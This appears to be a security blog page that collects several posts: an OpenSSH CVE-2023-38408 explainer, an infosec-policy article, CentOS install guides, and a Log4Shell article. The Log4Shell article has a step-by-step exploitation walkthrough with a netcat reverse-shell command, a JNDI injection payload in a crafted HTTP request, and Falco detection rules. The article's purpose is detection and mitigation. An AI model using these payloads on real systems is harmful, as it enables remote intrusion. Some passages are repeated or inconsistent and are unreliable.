How to fix CVE-2023-38408 in OpenSSH

 An RCE vulnerability known as CVE-2023-38408 has been found within the SSH-agent’s forwarded feature. Here's what you need to know.

On July 19, 2023, OpenSSH, the widely used implementation of the Secure Shell protocol (SSH), released an update to address the recently identified threat, CVE-2023-38408. The Qualys Security Advisory team discovered this flaw, which originates from the potential for remote code execution within OpenSSH’s SSH-agent feature. 

What you’ll learn

What is CVE-2023-38408?  

Deeper dive 

Does CVE-2023-38408 affect me? 

Has CVE-2023-38408 been actively exploited in the wild? 

How to fix CVE-2023-38408 

Next steps

What is CVE-2023-38408?  

CVE-2023-38408 is a vulnerability that enables remote code execution and resides in the SSH-agent’s forwarded feature, particularly in relation to the PKCS#11 providers. Exploiting the SSH-agent’s support for PKCS#11 under specific conditions allows attackers to execute remote code through a forwarded agent socket.  

OpenSSH is an open-source implementation of the Secure Shell (SSH) protocol, providing a comprehensive set of services to facilitate encrypted communications over an insecure network in a client-server environment. As a vital component for secure network interactions, OpenSSH is crucial for the cybersecurity strategies of numerous organizations. 

The SSH-agent plays a significant role by simplifying user authentication through the management of identity keys and passphrases. Storing keys in the SSH-agent eliminates the need for users to re-enter their password or passphrase when logging into other servers, creating a seamless single sign-on (SSO) experience. 

However, recent events have exposed a potentially severe vulnerability in this well-intentioned system.

Deeper dive 

The vulnerability lies in the SSH-agent’s source code, enabling a remote attacker with access to the remote server where a user’s SSH-agent is forwarded to load and unload shared libraries in /usr/lib* on the user’s workstation. This vulnerability exists when SSH-agent is compiled with ENABLE_PKCS11, which is the default configuration.  

Although this action initially seems safe since shared libraries in /usr/lib* originate from official distribution packages and SSH-agent generally performs only dlopen() and dlclose() operations on them, many shared libraries have unintended side effects when loaded and unloaded in a security-sensitive program like SSH-agent. For example, some shared libraries execute constructor and destructor functions automatically through dlopen() and dlclose(), respectively. 

By chaining together four common side effects of shared libraries from official distribution packages, an attacker can transform this limited primitive (dlopen() and dlclose() of shared libraries from /usr/lib*) into a reliable, one-shot remote code execution in SSH-agent. 

The initial idea of the Proof of Concept (PoC) for remotely exploiting SSH-agent followed these steps: 

Make the SSH-agent’s stack executable by dlopen()ing one of the “execstack” libraries and store shellcode in this executable stack. 

Register a signal handler for SIGSEGV and immediately munmap() its code by dlopen()ing and dlclose()ing one of the shared libraries from “surprising behavior 3/,” retaining a dangling pointer to the unmapped signal handler in the kernel. 

Replace the unmapped signal handler’s code with code from another shared library by dlopen()ing (mmap()ing) one of the “nodelete” libraries (“surprising behavior 2/”). 

Raise a SIGSEGV by dlopen()ing one of the shared libraries from “surprising behavior 4/,” causing the unmapped signal handler to be called by the kernel but executing the replacement code from the “nodelete” library instead (a use-after-free scenario). 

Hope that the replacement code, which is mapped where the signal handler was mapped, acts as a useful gadget that jumps into the executable stack where the shellcode is stored. 

Does CVE-2023-38408 affect me? 

The vulnerability primarily affects systems where OpenSSH’s SSH-agent is in use and the agent’s forwarding feature is enabled. Organizations and individuals relying on OpenSSH should promptly assess their configurations to determine potential exposure. If your system meets the mentioned conditions, it is crucial to take immediate action to mitigate the risk associated with CVE-2023-38408. 

Keep in mind that agent forwarding should always be used cautiously, as users with the ability to bypass file permissions on the remote host may be able to access the local agent through the forwarded connection.  

Has CVE-2023-38408 been actively exploited in the wild? 

Exploiting the vulnerability requires specific libraries to be present on the victim’s system and the forwarding of the agent to an attacker-controlled system. While proof-of-concept exploits exist, there is currently no definitive evidence to suggest widespread exploitation of CVE-2023-38408 in real-world scenarios.  

However, due to the severity of the vulnerability, it is crucial to prioritize preventive measures and apply the recommended fixes to protect your systems. 

How to fix CVE-2023-38408 

Although the vulnerability is concerning, there are preventive measures available to avoid exploitation. If you suspect your system may have been compromised, you should scan it for malicious code using tools such as ClamAV, Malwarebytes, or Avast. 

To effectively address and safeguard against CVE-2023-38408, follow these comprehensive steps: 

Upgrade to OpenSSH 9.3p2 or later: Upgrading to the latest version of OpenSSH is crucial as it includes critical patches to mitigate the vulnerability. Ensure that all relevant systems and servers are promptly updated to the recommended version or a higher one. 

Restrict PKCS#11 providers: Configure OpenSSH to allow only specific and trusted PKCS#11 providers. By limiting the use of PKCS#11 providers to known and verified sources, you can reduce the potential attack surface and minimize the risk of exploitation. 

Exercise caution when forwarding SSH agent: Be cautious when using agent forwarding in SSH. Avoid forwarding your SSH agent to untrusted servers or environments. Evaluate the security implications and only enable agent forwarding when necessary, considering the potential risks associated with CVE-2023-38408. 

Conduct system scans: Regularly scan your systems using reputable antivirus and malware detection tools like ClamAV, Malwarebytes, or Avast. These scans help identify and mitigate potential threats or any malicious code that may have already affected your system. 

By diligently following these preventive measures, promptly updating OpenSSH, and implementing secure configurations, you can enhance your cybersecurity posture and protect your systems from the potential risks associated with CVE-2023-38408. 

Next steps

Each new vulnerability is a reminder of where we stand, and what we need to do better. Check out the following resources to help you maintain cyber hygiene and stay ahead of the threat actors: 

 CVE-2023-38408 exp:

 CVE-2023-38408 poc:

Read More

Establishing a strong information security policy

 Companies should take a number of factors into account when developing an information security policy. So how can businesses make sure they have a solid policy in place that suits their needs?

In the field of cyber security, the adage "cyber-attacks are a matter of when, not if" is frequently used. Companies have begun to develop their risk management strategies in accordance with this during the past several years.

Although organizations can't always stop cyberattacks, they can try to minimize the harm when one occurs. Establishing a robust information security policy to safeguard the company is one approach to achieve this. There are many advantages to doing this, including limiting risk and lowering expenses while adhering to regulatory standards.

According to Jason Manar, CISO of Kaseya, a solid information security policy reduces a company's risk and exposure. "A single infiltration can prove disastrous for a business, and a solid policy helps limit both financial and reputational harm," according to the statement.

According to Sam Peters, chief product officer of ISMS.online, developing a good information security strategy establishes the culture, values, and expectations for an organization. According to him, it is also a crucial instrument for ensuring a strong security posture and achieving compliance with industry regulations. An successful information security policy "clearly outlines what the organization wants, what's forbidden, and who is responsible," which "provides clarity and eliminates inconsistent behaviors at all levels of the business."

Instead than trying to fit everything into one massive policy, it is preferable to have a variety of smaller, more manageable policies.

Companies should take a number of factors into account when developing an information security policy. So how can businesses make sure they have a solid policy in place that suits their needs?

To avoid with information security policy

When creating an information security policy, there are frequent traps to avoid. According to Steven Furnell, an IEEE senior member and professor of cyber security at the University of Nottingham, many businesses construct overly complex policies that are challenging to grasp, yet most of the time, less is more. Instead of attempting to combine everything into a single "mega-policy," it is preferable to have a variety of smaller and easier to understand policies. rather than trying to throw everything into one ‘mega-policy’,” he says.

In addition to a variety of more detailed security policies for various issues, he argues that the information security policy might serve as the "high level" document. The use of mobile devices or policies for working from home could be examples of this. Staff members can read these policies in accordance with their demands or regular activities.

Stay away from technical jargon

It's critical to be explicit while drafting the security policy. According to Peters, businesses should refrain from utilizing legalese and technical language.

According to Peters, regulations that are complicated or ambiguous frequently foster the attitude that "security is too hard to achieve correctly." "The policies are therefore viewed as a roadblock to doing business, increasing your risk level if personnel try to go past them," says the author.

Will Dixon, worldwide head of the academy and community at ISTARI, claims that the weakness of most weak policies is a lack of a distinct business goal. "When an information policy's intended business outcome is unclear, individuals will avoid it.

Instead, your information security policy needs to have a goal that everyone in the company can understand.

According to Dixon, "it can be created to stop information security breaches, safeguard the organization's brand, or adhere to legal requirements."

It's also crucial to remember that a solid information security policy needs to be updated frequently. Manar claims that weak policies make the error of adopting a "set it and forget it" attitude. "A policy must be periodically examined and audited to make sure it is.

It's also crucial to remember that a solid information security policy needs to be updated frequently. Manar claims that weak policies make the error of adopting a "set it and forget it" attitude. "In order to make sure a policy is serving its intended purpose, it must be regularly evaluated and audited. If not, the policy is unsuccessful.

Creating a policy for information security

One of the greatest places to start when creating an information security policy, according to Peters, is by evaluating the risk landscape of the organization. It doesn't matter if you want to start from scratch with an information security policy or just check to see if one you already have is enough, the author writes.

According to Peters, businesses should begin by identifying their internal weaknesses, problem areas, and external supply chain exposure, taking into account hazards ranging from a data breach to the likelihood of a complete system outage.

In doing so, organizations can take into account the typical cyber security risks that all companies face as well as the sector in which they work. After that, Peters suggests, "you can consider how any detected risks will effect the confidentiality, integrity, and accessibility of your data and systems."

Utilizing guidelines like the ISO/IEC 27001 standards for information security management systems makes sense. According to Peters, doing so "helps guarantee that you're addressing all pertinent elements required for an effective information security policy."

Information security managers have a number of tools at their disposal to create new policies or improve the ones they already have, according to Dixon. He uses the SANS Institute as an example, which provides free compliance frameworks with reference papers for information security needs.

When establishing the policy, Manar advises asking a few questions:

What do you want the policy to do?

Who is it for?

What are the objectives you hope to accomplish?

“You need to account for things such as authority, access control and network security policies, data classification and protection, data backup, and how you move and secure data,” says Dixon.

The policy should also specify the frequency of security awareness training and the usage of encryption techniques. In the meanwhile, Manar asserts that duties and responsibilities must be "clearly specified for personnel".

The rules you establish must also be followed, according to Brian Ventura, a trained teacher at the SANS Institute. "The organization must develop strategies and programs to implement the policy and identify any gaps in its application."

Keep in mind that buy-in is essential as well. According to Furnell, IT should ideally collaborate with the company to make sure the security policy accurately conveys what it wants to express. "The organization needs to support the policy, advertise it, and give people the assistance they need to comprehend and follow it right now."

Peters agrees that an organization's information security policy is best developed through collaboration. To guarantee that any policy delivers clarity of demand, consistency of behavior, and meets all regulatory compliance standards, buy-in from all major business departments is crucial.

Read More

 

How to Install Python 3 on CentOS 8

Unlike other Linux distributions, CentOS 8 does not come with a version of Python installed. Currently Python 3.9 is the latest major version of Python. This guide shows two options for installing Python 3 on CentOS 8:

How to Install Python 3.9

You need to build Python 3.9 from source to install it on CentOS 8.

1. Download the dependencies to build the package:

    sudo dnf groupinstall 'development tools'
    sudo dnf install wget openssl-devel bzip2-devel libffi-devel
   

2. Download Python version 3.9:

    sudo curl https://www.python.org/ftp/python/3.9.1/Python-3.9.1.tgz -O
   

3. Extract the Python package:

    tar -xvf Python-3.9.1.tgz
   

4. Change into the Python directory:

   cd Python-3.9.1
   

5. Run the configuration script and run the build process:

    sudo ./configure --enable-optimizations
    sudo make install
   

   Note

   If you have an already existing Python binary installed at /usr/bin/python or /usr/bin/python3, you should run sudo make altinstall instead.

6. After the installation is finished, you can run the command python3 -V and verify the installation:

   python3 -V
   

   The output looks like this:

   Python 3.9.1

How to Install Python 3.6

If you do not need the latest version of Python, you can install Python 3.6 using the CentOS repository. This version is included in the CentOS repository by default. While this installation method is easier than the previous from source method, it is not the latest version. Install version 3.6 by running the following command:

sudo dnf install python3

If you haven’t installed any other version of Python, you can verify this installation by typing:

python3 -V

And the shell returns:

Python 3.6.8

Additional Information

Installing multiple versions of Python 3 is not recommended. It’s best to manage multiple versions with tools like pyenv or anaconda .

If you installed Python 3.9 by compiling from source, the installed binary is located at /usr/local/bin/python3. If you installed Python 3.8 from the CentOS package repository, the installed binary is located at /usr/bin/python3.

How to Install Python 2

You may require Python 2 as a dependency for older code or software. If this is the case, you can install it with the following command:

sudo dnf install python2

Run python2 -V to check the version:

python2 -V

The output looks like the following:

Python 2.7.17

It’s important to remember that Python2 is no longer supported by the Python foundation. Therefore, there are no new updates or fixes. Applications are making the switch to Python 3, and distributions like Ubuntu 20.04 and CentOS 8 are no longer shipping with Python 2 by default.

Read More

use rvm to install ruby2.7

 

curl -sSL https://rvm.io/mpapis.asc | gpg2 --import -

curl -sSL https://rvm.io/pkuczynski.asc | gpg2 --import -

(gpg2 --keyserver hkp://pool.sks-keyservers.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB)

curl -sSL https://get.rvm.io | bash -s stable

source /etc/profile.d/rvm.sh

rvm list known

rvm install 2.6　

rvm -v 

rvm use 2.7 --default

Read More

How to install docker and docker-compose in the centos8

 CentOS8 install Docker

1、install yum-utils

sudo yum install -y yum-utils

 

2、add the docker repo

sudo yum-config-manager \
    --add-repo \
    https://download.docker.com/linux/centos/docker-ce.repo

 

3、Enable the nightly or test repositories

sudo yum-config-manager --enable docker-ce-nightly
sudo yum-config-manager --enable docker-ce-test

 

4、install the latest Docker and Containerd

sudo yum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpm
sudo yum install docker-ce docker-ce-cli

 

5、start Docker

sudo systemctl start docker

 

6、enable docker start when boot

sudo systemctl enable docker

 

7、check Docker version

docker -v

 

8、install docker-compose

curl -L https://github.com/docker/compose/releases/download/1.25.4/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose

 

9、Apply executable permissions to the binary:

sudo chmod +x /usr/local/bin/docker-compose

Read More

Log4J Remote Code Execution (CVE-2021-44228)

 A new critical vulnerability has been found in log4j, a widely-used open-source utility used to generate logs inside java applications. The vulnerability CVE-2021-44228, also known as Log4Shell, permits a Remote Code Execution (RCE) allowing the attackers to execute arbitrary code on the host.

The log4j utility is popular and used by a huge number of applications and companies, including the famous game Minecraft. It is also used in various Apache frameworks like Struts2, Kafka, Druid, Flink, and many commercial products.

CVE-2021-44228 affects log4j versions: 2.0-beta9 to 2.14.1. Version 2.15.0 has been released to address this issue and fix the vulnerability, but this new version is vulnerable to Denial of Service. We strongly recommend updating to 2.16.0 at the time of the release of this article.

In this article, you’ll understand why the affected utility is so popular, the vulnerability’s nature, and how its exploitation can be detected and mitigated.

Preliminary

Log4j is a reliable, fast, flexible, and popular logging framework (APIs) written in Java. It is distributed under the Apache Software License. Log4j has been ported also to other programming languages like C, C++, C#, Perl, Python, Ruby, and so on.

The log4j library was hit by the CVE-2021-44228 first, which is the high impact one. After the 2.15.0 version was released to fix the vulnerability, the new CVE-2021-45046 has been released.

The new vulnerability CVE-2021-45046 hits the new version and permits a Denial of Service (DoS) attack due to a shortcoming of the previous patch. Due to the relatively low potential impact of the new CVE-2021-45046, it has been rated a low severity. The latest release 2.16.0 fixed the new CVE by adding some missing non-default configurations.

The CVE-2021-44228 issue

The Java Naming and Directory Interface (JNDI) provides an API for java applications which can be used for binding remote objects, looking up or querying objects, as well as detecting changes on the same objects.

While JNDI supports a number of naming and directory services and the vulnerability can be exploited in many different ways, we will focus our attention on LDAP.

By using JNDI with LDAP, the URL ldap://localhost:3xx/o is able to retrieve a remote object from an LDAP server running on the local machine or an attacker controlled remote server.

As implemented, the default key will be prefixed with java:comp/env/. However, if the key contains a “:”, no prefix will be added. In our case, if we pass the LDAP string reported before ldap://localhost:3xx/o, no prefix would be added, and the LDAP server is queried to retrieve the object.

In other words, what an attacker can do is find some input that gets directly logged and evaluate the input, like ${jndi:ldap://attackerserver.com.com/x}. This allows the attacker to retrieve the object from the remote LDAP server they control and execute the code.

The entry point could be a HTTP header like User-Agent, which is usually logged, or perhaps a form parameter like username/request object that might also be logged in the same way.

The impact of CVE-2021-44228

The impact of this vulnerability is huge due to the broad adoption of this Log4j library. If you have some java applications in your environment, they are most likely using Log4j to log internal events.

The exploitation is also fairly flexible, letting you retrieve and execute arbitrary code from local to remote LDAP servers and other protocols.

All these factors and the high impact to so many systems give this vulnerability a CRITICAL severity rating of CVSS3 10.0. The fact that the vulnerability is being actively exploited further increases the risk for affected organizations.

Exploiting CVE-2021-44228 step-by-step

The vulnerability permits us to retrieve an object from a remote or local machine and execute arbitrary code on the vulnerable application.

Before starting the exploitation, the attacker needs to control an LDAP server where there is an object file containing the code they want to download and execute. Since these attacks in Java applications are being widely explored we can use the Github project JNDI-Injection-Exploit to spin up an LDAP Server.

In this case, we run it in an EC2 instance, which would be controlled by the attacker. Using the netcat (nc) command, we can open a reverse shell connection with the vulnerable application.

Here is an example command line:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 54.243.12.192 8083 -e /bin/sh" -A "54.243.12.192"

The LDAP server hosts the specified URL to use and retrieve the malicious code with the reverse shell command.

The web application we have deployed for the real scenario is using a vulnerable log4j version, and it’s logging the content of the User-Agent, Cookies, and X-Api-Server.

The web application we used can be downloaded here

The vulnerable web server is running using a docker container on port 8080. By leveraging Burp Suite, we can craft the request payload through the URL hosted on the LDAP Server. Let’s try to inject the cookie attribute and see if we are able to open a reverse shell on the vulnerable machine.

GET / HTTP/1.1
Host: 	:8080
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
X-Api-Version: aaa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: test='${jndi:ldap://54.243.12.192:1389/0z6aep}'
Connection: close

Above is the HTTP request we are sending, modified by Burp Suite. The Cookie parameter is added with the log4j attack string.

Before sending the crafted request we need to set up the reverse shell connection using the netcat (nc) command to listen on port 8083.

nc -lvp 8083

We can now send the crafted request, and we can see the LDAP Server received the call from the application, and the JettyServer provided the remote class that contains the nc command for the reverse shell.

We can see on the attacking machine that we successfully opened a connection with the vulnerable application.

Now we have the ability to interact with the machine and execute arbitrary code.

The attacker could use the same process with other HTTP attributes to exploit the vulnerability and open a reverse shell with the attacking machine. Imagine how easy it is to automate this exploit and send the exploit to every exposed application with log4j running.

Mitigating CVE-2021-44228

If you’re impacted by this CVE, you should update the application to the newest version, or at least to the 2.16.0 version, immediately. If isn’t possible in your environment, you can evaluate three options:

• If you are using Log4j v2.10 or above you can set the property: log4j2.formatMsgNoLookups=true
• An environment variable can be set for these same affected versions: LOG4J_FORMAT_MSG_NO_LOOKUPS=true
• If the version is older, remove the JndiLookup class from the log4j-core on the filesystem.

Even though you might have already upgraded your library or applied one of the other mitigations on containers affected by the vulnerability, you need to detect any exploitation attempts and post-breach activities in your environment.

You can detect this vulnerability at three different phases of the application lifecycle:

• During the build, with an image scanner.
• During the deployment, thanks to an image scanner on the admission controller.
• During the run and response phase, using a runtime detection engine to detect malicious behaviors in already deployed hosts or pods.

Let’s now dig deeper into each of them.

1. Build: Image Scanner

Using an image scanner, a software composition analysis (SCA) tool, you can analyze the contents and the build process of a container image in order to detect security issues, vulnerabilities, or bad practices.

In the report results, you can search if the specific CVE has been detected in any images already deployed in your environment.

In this case, we can see that CVE-2021-44228 affects one specific image which uses the vulnerable version 2.12.1.

2. Deploy: Image scanner on admission controller

Implementing image scanning on the admission controller, it is possible to admit only the workload images that are compliant with the scanning policy to run in the cluster.

This component is able to reject images based on names, tags, namespaces, CVE severity level, and so on, using different criteria.

Creating and assigning a policy for this specific CVE, the admission controller will evaluate new deployment images, blocking deployment if this security issue is detected.

3. Run and Response: Event Detection

Using a Runtime detection engine tool like Falco, you can detect attacks that occur in runtime when your containers are already in production.

Let’s assume that the attacker exploits this specific vulnerability and wants to open a reverse shell on the pod. In this case, the Falco runtime policies in place will detect the malicious behavior and raise a security alert. You can also check out our previous blog post regarding reverse shell.

Here is a reverse shell rule example. To avoid false positives you can add exceptions in the condition to better adapt to your environment.

- rule: Reverse shell
  desc: Detect reverse shell established remote connection
  condition: evt.type=dup and container and fd.num in (0, 1, 2) and fd.type in ("ipv4", "ipv6")
  output: >
    Reverse shell connection (user=%user.name %container.info process=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip)
  priority: WARNING
  tags: [container, shell, mitre_execution]
  append: false

In addition to using Falco, you can detect further actions in the post-exploitation phase on pods or hosts. The use cases covered by the out-of-the-box ruleset in Falco are already substantial, but here we show those that might trigger in case an attacker uses network tools or tries to spawn a new shell.

- rule: Run shell untrusted
  desc: an attempt to spawn a shell below a non-shell application. Specific applications are monitored.
  condition: >
    spawned_process
    and shell_procs
    and proc.pname exists
    and protected_shell_spawner
    and not proc.pname in (shell_binaries, gitlab_binaries, cron_binaries, user_known_shell_spawn_binaries,
                           needrestart_binaries,
                           mesos_shell_binaries,
                           erl_child_setup, exechealthz,
                           PM2, PassengerWatchd, c_rehash, svlogd, logrotate, hhvm, serf,
                           lb-controller, nvidia-installe, runsv, statsite, erlexec, calico-node,
                           "puma reactor")
    and not proc.cmdline in (known_shell_spawn_cmdlines)
    and not proc.aname in (unicorn_launche)
    and not consul_running_net_scripts
    and not consul_running_alert_checks
    and not nginx_starting_nginx
    and not nginx_running_aws_s3_cp
    and not run_by_package_mgmt_binaries
    and not serf_script
    and not check_process_status
    and not run_by_foreman
    and not python_mesos_marathon_scripting
    and not splunk_running_forwarder
    and not postgres_running_wal_e
    and not redis_running_prepost_scripts
    and not rabbitmq_running_scripts
    and not rabbitmqctl_running_scripts
    and not run_by_appdynamics
    and not user_shell_container_exclusions
  output: >
    Shell spawned by untrusted binary (user=%user.name user_loginuid=%user.loginuid shell=%proc.name parent=%proc.pname
    cmdline=%proc.cmdline pcmdline=%proc.pcmdline gparent=%proc.aname[2] ggparent=%proc.aname[3]
    aname[4]=%proc.aname[4] aname[5]=%proc.aname[5] aname[6]=%proc.aname[6] aname[7]=%proc.aname[7] container_id=%container.id image=%container.image.repository)
  priority: DEBUG
  tags: [shell, mitre_execution]

- rule: Launch Suspicious Network Tool in Container
  desc: Detect network tools launched inside container
  condition: >
    spawned_process and container and network_tool_procs and not user_known_network_tool_activities
  output: >
    Network tool launched in container (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline parent_process=%proc.pname
    container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
  priority: NOTICE
  tags: [network, process, mitre_discovery, mitre_exfiltration]
- rule: Launch Remote File Copy Tools in Container
  desc: Detect remote file copy tools launched in container
  condition: >
    spawned_process
    and container
    and remote_file_copy_procs
    and not user_known_remote_file_copy_activities
  output: >
    Remote file copy tool launched in container (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline parent_process=%proc.pname
    container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
  priority: NOTICE
  tags: [network, process, mitre_lateral_movement, mitre_exfiltration]

4. Restrict Network access

As we saw during the exploitation section, the attacker needs to download the malicious payload from a remote LDAP server.

From the network perspective, using K8s network policies you can restrict egress traffic, thus blocking the connection to the external LDAP server.

Here is the network policy to block all the egress traffic for the specific namespace

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-egress
  namespace: log4j
spec:
  podSelector: {}
  policyTypes:
  - Egress

Using Sysdig Secure you can use the Profiling feature to automatically generate the K8s network policy specifically for the vulnerable pod as we described in our previous article.

Conclusion

The CVE-2021-44228 is a CRITICAL vulnerability that allows malicious users to execute arbitrary code on a machine or pod using a bug found in the log4j library.

We recommend using an image scanner in several places in your container lifecycle and admission controller, like in your CI/CD pipelines to prevent the attack and using a runtime security tool to detect reverse shells.

These strategies together will allow your security team to react to attacks targeting this vulnerability, block them, and report on any affected running containers ahead of time.

Read More